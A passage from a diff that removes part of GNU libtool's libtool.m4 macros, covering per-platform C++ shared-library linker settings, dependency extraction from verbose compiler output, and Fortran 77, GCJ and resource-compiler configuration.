- _LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Archives containing C++ object files must be created using
- # the KAI C++ compiler.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -o $oldlib $oldobjs'
- ;;
- RCC*)
- # Rational C++ 2.4.1
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- cxx*)
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done~
- echo "-hidden">> $lib.exp~
- $CC -shared$allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname -Wl,-input -Wl,$lib.exp `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~
- $rm $lib.exp'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
-
- else
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- esac
- ;;
- psos*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- sunos4*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.x
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- lcc*)
- # Lucid
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- ;;
- solaris*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- _LT_AC_TAGVAR(archive_cmds_need_lc,$1)=yes
- _LT_AC_TAGVAR(no_undefined_flag, $1)=' -zdefs'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G${allow_undefined_flag} -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -G${allow_undefined_flag} ${wl}-M ${wl}$lib.exp -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- case $host_os in
- solaris2.[[0-5]] | solaris2.[[0-5]].*) ;;
- *)
- # The C++ compiler is used as linker so we must use $wl
- # flag to pass the commands to the underlying system
- # linker. We must also pass each convience library through
- # to the system linker between allextract/defaultextract.
- # The C++ compiler will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract'
- ;;
- esac
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
-
- output_verbose_link_cmd='echo'
-
- # Archives containing C++ object files must be created using
- # "CC -xar", where "CC" is the Sun C++ compiler. This is
- # necessary to make sure instantiated templates are included
- # in the archive.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -xar -o $oldlib $oldobjs'
- ;;
- gcx*)
- # Green Hills C++ Compiler
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
-
- # The C++ compiler must be used to create the archive.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC $LDFLAGS -archive -o $oldlib $oldobjs'
- ;;
- *)
- # GNU C++ compiler with Solaris linker
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-z ${wl}defs'
- if $CC --version | grep -v '^2\.7' > /dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd="$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\""
- else
- # g++ 2.7 appears to require `-G' NOT `-shared' on this
- # platform.
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -G -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd="$CC -G $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\""
- fi
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $wl$libdir'
- fi
- ;;
- esac
- ;;
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[[01]].[[10]]* | unixware7* | sco3.2v5.0.[[024]]*)
- _LT_AC_TAGVAR(no_undefined_flag, $1)='${wl}-z,text'
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- runpath_var='LD_RUN_PATH'
-
- case $cc_basename in
- CC*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- ;;
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- # For security reasons, it is highly recommended that you always
- # use absolute paths for naming shared libraries, and exclude the
- # DT_RUNPATH tag from executables and libraries. But doing so
- # requires that you compile everything twice, which is a pain.
- # So that behaviour is only enabled if SCOABSPATH is set to a
- # non-empty value in the environment. Most likely only useful for
- # creating official distributions of packages.
- # This is a hack until libtool officially supports absolute path
- # names for shared libraries.
- _LT_AC_TAGVAR(no_undefined_flag, $1)='${wl}-z,text'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-z,nodefs'
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=':'
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- case $cc_basename in
- CC*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- ;;
- tandem*)
- case $cc_basename in
- NCC*)
- # NonStop-UX NCC 3.20
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- ;;
- vxworks*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
-esac
-AC_MSG_RESULT([$_LT_AC_TAGVAR(ld_shlibs, $1)])
-test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no
-
-_LT_AC_TAGVAR(GCC, $1)="$GXX"
-_LT_AC_TAGVAR(LD, $1)="$LD"
-
-## CAVEAT EMPTOR:
-## There is no encapsulation within the following macros, do not change
-## the running order or otherwise move them around unless you know exactly
-## what you are doing...
-AC_LIBTOOL_POSTDEP_PREDEP($1)
-AC_LIBTOOL_PROG_COMPILER_PIC($1)
-AC_LIBTOOL_PROG_CC_C_O($1)
-AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1)
-AC_LIBTOOL_PROG_LD_SHLIBS($1)
-AC_LIBTOOL_SYS_DYNAMIC_LINKER($1)
-AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1)
-
-AC_LIBTOOL_CONFIG($1)
-
-AC_LANG_POP
-CC=$lt_save_CC
-LDCXX=$LD
-LD=$lt_save_LD
-GCC=$lt_save_GCC
-with_gnu_ldcxx=$with_gnu_ld
-with_gnu_ld=$lt_save_with_gnu_ld
-lt_cv_path_LDCXX=$lt_cv_path_LD
-lt_cv_path_LD=$lt_save_path_LD
-lt_cv_prog_gnu_ldcxx=$lt_cv_prog_gnu_ld
-lt_cv_prog_gnu_ld=$lt_save_with_gnu_ld
-])# AC_LIBTOOL_LANG_CXX_CONFIG
-
-# AC_LIBTOOL_POSTDEP_PREDEP([TAGNAME])
-# ------------------------------------
-# Figure out "hidden" library dependencies from verbose
-# compiler output when linking a shared library.
-# Parse the compiler output and extract the necessary
-# objects, libraries and library flags.
-AC_DEFUN([AC_LIBTOOL_POSTDEP_PREDEP],[
-dnl we can't use the lt_simple_compile_test_code here,
-dnl because it contains code intended for an executable,
-dnl not a library. It's possible we should let each
-dnl tag define a new lt_????_link_test_code variable,
-dnl but it's only used here...
-ifelse([$1],[],[cat > conftest.$ac_ext <<EOF
-int a;
-void foo (void) { a = 0; }
-EOF
-],[$1],[CXX],[cat > conftest.$ac_ext <<EOF
-class Foo
-{
-public:
- Foo (void) { a = 0; }
-private:
- int a;
-};
-EOF
-],[$1],[F77],[cat > conftest.$ac_ext <<EOF
- subroutine foo
- implicit none
- integer*4 a
- a=0
- return
- end
-EOF
-],[$1],[GCJ],[cat > conftest.$ac_ext <<EOF
-public class foo {
- private int a;
- public void bar (void) {
- a = 0;
- }
-};
-EOF
-])
-dnl Parse the compiler output and extract the necessary
-dnl objects, libraries and library flags.
-if AC_TRY_EVAL(ac_compile); then
- # Parse the compiler output and extract the necessary
- # objects, libraries and library flags.
-
- # Sentinel used to keep track of whether or not we are before
- # the conftest object file.
- pre_test_object_deps_done=no
-
- # The `*' in the case matches for architectures that use `case' in
- # $output_verbose_cmd can trigger glob expansion during the loop
- # eval without this substitution.
- output_verbose_link_cmd=`$echo "X$output_verbose_link_cmd" | $Xsed -e "$no_glob_subst"`
-
- for p in `eval $output_verbose_link_cmd`; do
- case $p in
-
- -L* | -R* | -l*)
- # Some compilers place space between "-{L,R}" and the path.
- # Remove the space.
- if test $p = "-L" \
- || test $p = "-R"; then
- prev=$p
- continue
- else
- prev=
- fi
-
- if test "$pre_test_object_deps_done" = no; then
- case $p in
- -L* | -R*)
- # Internal compiler library paths should come after those
- # provided the user. The postdeps already come after the
- # user supplied libs so there is no need to process them.
- if test -z "$_LT_AC_TAGVAR(compiler_lib_search_path, $1)"; then
- _LT_AC_TAGVAR(compiler_lib_search_path, $1)="${prev}${p}"
- else
- _LT_AC_TAGVAR(compiler_lib_search_path, $1)="${_LT_AC_TAGVAR(compiler_lib_search_path, $1)} ${prev}${p}"
- fi
- ;;
- # The "-l" case would never come before the object being
- # linked, so don't bother handling this case.
- esac
- else
- if test -z "$_LT_AC_TAGVAR(postdeps, $1)"; then
- _LT_AC_TAGVAR(postdeps, $1)="${prev}${p}"
- else
- _LT_AC_TAGVAR(postdeps, $1)="${_LT_AC_TAGVAR(postdeps, $1)} ${prev}${p}"
- fi
- fi
- ;;
-
- *.$objext)
- # This assumes that the test object file only shows up
- # once in the compiler output.
- if test "$p" = "conftest.$objext"; then
- pre_test_object_deps_done=yes
- continue
- fi
-
- if test "$pre_test_object_deps_done" = no; then
- if test -z "$_LT_AC_TAGVAR(predep_objects, $1)"; then
- _LT_AC_TAGVAR(predep_objects, $1)="$p"
- else
- _LT_AC_TAGVAR(predep_objects, $1)="$_LT_AC_TAGVAR(predep_objects, $1) $p"
- fi
- else
- if test -z "$_LT_AC_TAGVAR(postdep_objects, $1)"; then
- _LT_AC_TAGVAR(postdep_objects, $1)="$p"
- else
- _LT_AC_TAGVAR(postdep_objects, $1)="$_LT_AC_TAGVAR(postdep_objects, $1) $p"
- fi
- fi
- ;;
-
- *) ;; # Ignore the rest.
-
- esac
- done
-
- # Clean up.
- rm -f a.out a.exe
-else
- echo "libtool.m4: error: problem compiling $1 test program"
-fi
-
-$rm -f confest.$objext
-
-# PORTME: override above test on systems where it is broken
-ifelse([$1],[CXX],
-[case $host_os in
-interix3*)
- # Interix 3.5 installs completely hosed .la files for C++, so rather than
- # hack all around it, let's just trust "g++" to DTRT.
- _LT_AC_TAGVAR(predep_objects,$1)=
- _LT_AC_TAGVAR(postdep_objects,$1)=
- _LT_AC_TAGVAR(postdeps,$1)=
- ;;
-
-solaris*)
- case $cc_basename in
- CC*)
- # Adding this requires a known-good setup of shared libraries for
- # Sun compiler versions before 5.6, else PIC objects from an old
- # archive will be linked into the output, leading to subtle bugs.
- _LT_AC_TAGVAR(postdeps,$1)='-lCstd -lCrun'
- ;;
- esac
- ;;
-esac
-])
-
-case " $_LT_AC_TAGVAR(postdeps, $1) " in
-*" -lc "*) _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no ;;
-esac
-])# AC_LIBTOOL_POSTDEP_PREDEP
-
-# AC_LIBTOOL_LANG_F77_CONFIG
-# --------------------------
-# Ensure that the configuration vars for the C compiler are
-# suitably defined. Those variables are subsequently used by
-# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'.
-AC_DEFUN([AC_LIBTOOL_LANG_F77_CONFIG], [_LT_AC_LANG_F77_CONFIG(F77)])
-AC_DEFUN([_LT_AC_LANG_F77_CONFIG],
-[AC_REQUIRE([AC_PROG_F77])
-AC_LANG_PUSH(Fortran 77)
-
-_LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
-_LT_AC_TAGVAR(allow_undefined_flag, $1)=
-_LT_AC_TAGVAR(always_export_symbols, $1)=no
-_LT_AC_TAGVAR(archive_expsym_cmds, $1)=
-_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=
-_LT_AC_TAGVAR(hardcode_direct, $1)=no
-_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=
-_LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)=
-_LT_AC_TAGVAR(hardcode_libdir_separator, $1)=
-_LT_AC_TAGVAR(hardcode_minus_L, $1)=no
-_LT_AC_TAGVAR(hardcode_automatic, $1)=no
-_LT_AC_TAGVAR(module_cmds, $1)=
-_LT_AC_TAGVAR(module_expsym_cmds, $1)=
-_LT_AC_TAGVAR(link_all_deplibs, $1)=unknown
-_LT_AC_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds
-_LT_AC_TAGVAR(no_undefined_flag, $1)=
-_LT_AC_TAGVAR(whole_archive_flag_spec, $1)=
-_LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=no
-
-# Source file extension for f77 test sources.
-ac_ext=f
-
-# Object file extension for compiled f77 test sources.
-objext=o
-_LT_AC_TAGVAR(objext, $1)=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code=" subroutine t\n return\n end\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code=" program t\n end\n"
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-_LT_AC_SYS_COMPILER
-
-# save warnings/boilerplate of simple test code
-_LT_COMPILER_BOILERPLATE
-_LT_LINKER_BOILERPLATE
-
-# Allow CC to be a program name with arguments.
-lt_save_CC="$CC"
-CC=${F77-"f77"}
-compiler=$CC
-_LT_AC_TAGVAR(compiler, $1)=$CC
-_LT_CC_BASENAME([$compiler])
-
-AC_MSG_CHECKING([if libtool supports shared libraries])
-AC_MSG_RESULT([$can_build_shared])
-
-AC_MSG_CHECKING([whether to build shared libraries])
-test "$can_build_shared" = "no" && enable_shared=no
-
-# On AIX, shared libraries and static libraries use the same namespace, and
-# are all built from PIC.
-case $host_os in
-aix3*)
- test "$enable_shared" = yes && enable_static=no
- if test -n "$RANLIB"; then
- archive_cmds="$archive_cmds~\$RANLIB \$lib"
- postinstall_cmds='$RANLIB $lib'
- fi
- ;;
-aix4* | aix5*)
- if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then
- test "$enable_shared" = yes && enable_static=no
- fi
- ;;
-esac
-AC_MSG_RESULT([$enable_shared])
-
-AC_MSG_CHECKING([whether to build static libraries])
-# Make sure either enable_shared or enable_static is yes.
-test "$enable_shared" = yes || enable_static=yes
-AC_MSG_RESULT([$enable_static])
-
-_LT_AC_TAGVAR(GCC, $1)="$G77"
-_LT_AC_TAGVAR(LD, $1)="$LD"
-
-AC_LIBTOOL_PROG_COMPILER_PIC($1)
-AC_LIBTOOL_PROG_CC_C_O($1)
-AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1)
-AC_LIBTOOL_PROG_LD_SHLIBS($1)
-AC_LIBTOOL_SYS_DYNAMIC_LINKER($1)
-AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1)
-
-AC_LIBTOOL_CONFIG($1)
-
-AC_LANG_POP
-CC="$lt_save_CC"
-])# AC_LIBTOOL_LANG_F77_CONFIG
-
-
-# AC_LIBTOOL_LANG_GCJ_CONFIG
-# --------------------------
-# Ensure that the configuration vars for the C compiler are
-# suitably defined. Those variables are subsequently used by
-# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'.
-AC_DEFUN([AC_LIBTOOL_LANG_GCJ_CONFIG], [_LT_AC_LANG_GCJ_CONFIG(GCJ)])
-AC_DEFUN([_LT_AC_LANG_GCJ_CONFIG],
-[AC_LANG_SAVE
-
-# Source file extension for Java test sources.
-ac_ext=java
-
-# Object file extension for compiled Java test sources.
-objext=o
-_LT_AC_TAGVAR(objext, $1)=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code="class foo {}\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code='public class conftest { public static void main(String[[]] argv) {}; }\n'
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-_LT_AC_SYS_COMPILER
-
-# save warnings/boilerplate of simple test code
-_LT_COMPILER_BOILERPLATE
-_LT_LINKER_BOILERPLATE
-
-# Allow CC to be a program name with arguments.
-lt_save_CC="$CC"
-CC=${GCJ-"gcj"}
-compiler=$CC
-_LT_AC_TAGVAR(compiler, $1)=$CC
-_LT_CC_BASENAME([$compiler])
-
-# GCJ did not exist at the time GCC didn't implicitly link libc in.
-_LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
-
-_LT_AC_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds
-
-## CAVEAT EMPTOR:
-## There is no encapsulation within the following macros, do not change
-## the running order or otherwise move them around unless you know exactly
-## what you are doing...
-AC_LIBTOOL_PROG_COMPILER_NO_RTTI($1)
-AC_LIBTOOL_PROG_COMPILER_PIC($1)
-AC_LIBTOOL_PROG_CC_C_O($1)
-AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1)
-AC_LIBTOOL_PROG_LD_SHLIBS($1)
-AC_LIBTOOL_SYS_DYNAMIC_LINKER($1)
-AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1)
-
-AC_LIBTOOL_CONFIG($1)
-
-AC_LANG_RESTORE
-CC="$lt_save_CC"
-])# AC_LIBTOOL_LANG_GCJ_CONFIG
-
-
-# AC_LIBTOOL_LANG_RC_CONFIG
-# -------------------------
-# Ensure that the configuration vars for the Windows resource compiler are
-# suitably defined. Those variables are subsequently used by
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-_LT_AC_TAGVAR(objext, $1)=$objext
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-_LT_AC_SYS_COMPILER
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-_LT_LINKER_BOILERPLATE
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-# Allow CC to be a program name with arguments.
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-CC=${RC-"windres"}
-compiler=$CC
-_LT_AC_TAGVAR(compiler, $1)=$CC
-_LT_CC_BASENAME([$compiler])
-_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=yes
-
-AC_LIBTOOL_CONFIG($1)
-
-AC_LANG_RESTORE
-CC="$lt_save_CC"
-])# AC_LIBTOOL_LANG_RC_CONFIG
-
-
-# AC_LIBTOOL_CONFIG([TAGNAME])
-# ----------------------------
-# If TAGNAME is not passed, then create an initial libtool script
-# with a default configuration from the untagged config vars. Otherwise
-# add code to config.status for appending the configuration named by
-# TAGNAME from the matching tagged config vars.
-AC_DEFUN([AC_LIBTOOL_CONFIG],
-[# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
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- fi
- # Now quote all the things that may contain metacharacters while being
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- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
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- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
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- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
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- _LT_AC_TAGVAR(CC, $1) \
- _LT_AC_TAGVAR(LD, $1) \
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1) \
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- _LT_AC_TAGVAR(lt_prog_compiler_static, $1) \
- _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1) \
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1) \
- _LT_AC_TAGVAR(thread_safe_flag_spec, $1) \
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- _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1) \
- _LT_AC_TAGVAR(old_archive_cmds, $1) \
- _LT_AC_TAGVAR(old_archive_from_new_cmds, $1) \
- _LT_AC_TAGVAR(predep_objects, $1) \
- _LT_AC_TAGVAR(postdep_objects, $1) \
- _LT_AC_TAGVAR(predeps, $1) \
- _LT_AC_TAGVAR(postdeps, $1) \
- _LT_AC_TAGVAR(compiler_lib_search_path, $1) \
- _LT_AC_TAGVAR(archive_cmds, $1) \
- _LT_AC_TAGVAR(archive_expsym_cmds, $1) \
- _LT_AC_TAGVAR(postinstall_cmds, $1) \
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- _LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1) \
- _LT_AC_TAGVAR(allow_undefined_flag, $1) \
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- _LT_AC_TAGVAR(export_symbols_cmds, $1) \
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) \
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- _LT_AC_TAGVAR(hardcode_libdir_separator, $1) \
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- _LT_AC_TAGVAR(module_cmds, $1) \
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- _LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1) \
- _LT_AC_TAGVAR(exclude_expsyms, $1) \
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- case $var in
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- _LT_AC_TAGVAR(old_archive_from_new_cmds, $1) | \
- _LT_AC_TAGVAR(archive_cmds, $1) | \
- _LT_AC_TAGVAR(archive_expsym_cmds, $1) | \
- _LT_AC_TAGVAR(module_cmds, $1) | \
- _LT_AC_TAGVAR(module_expsym_cmds, $1) | \
- _LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1) | \
- _LT_AC_TAGVAR(export_symbols_cmds, $1) | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
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- $rm -f "$cfgfile"
- AC_MSG_NOTICE([creating $ofile])],
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- cat <<__EOF__ >> "$cfgfile"
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-[#! $SHELL
-
-# `$echo "$cfgfile" | sed 's%^.*/%%'` - Provide generalized library-building support services.
-# Generated automatically by $PROGRAM (GNU $PACKAGE $VERSION$TIMESTAMP)
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-#
-# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001
-# Free Software Foundation, Inc.
-#
-# This file is part of GNU Libtool:
-# Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
-#
-# As a special exception to the GNU General Public License, if you
-# distribute this file as part of a program that contains a
-# configuration script generated by Autoconf, you may include it under
-# the same distribution terms that you use for the rest of that program.
-
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-(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
-
-# The names of the tagged configurations supported by this script.
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-
-# ### BEGIN LIBTOOL CONFIG],
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-
-# Whether or not to build shared libraries.
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-
-# Whether or not to build static libraries.
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-
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-build_libtool_need_lc=$_LT_AC_TAGVAR(archive_cmds_need_lc, $1)
-
-# Whether or not to disallow shared libs when runtime libs are static
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-# Dependencies to place after the objects being linked to create a
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-# Flag that allows shared libraries with undefined symbols to be built.
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-# Flag that forces no undefined symbols.
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-# Commands used to finish a libtool library installation in a directory.
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-ifelse([$1],[],
-[# ### END LIBTOOL CONFIG],
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-__EOF__
-
-ifelse([$1],[], [
- case $host_os in
- aix3*)
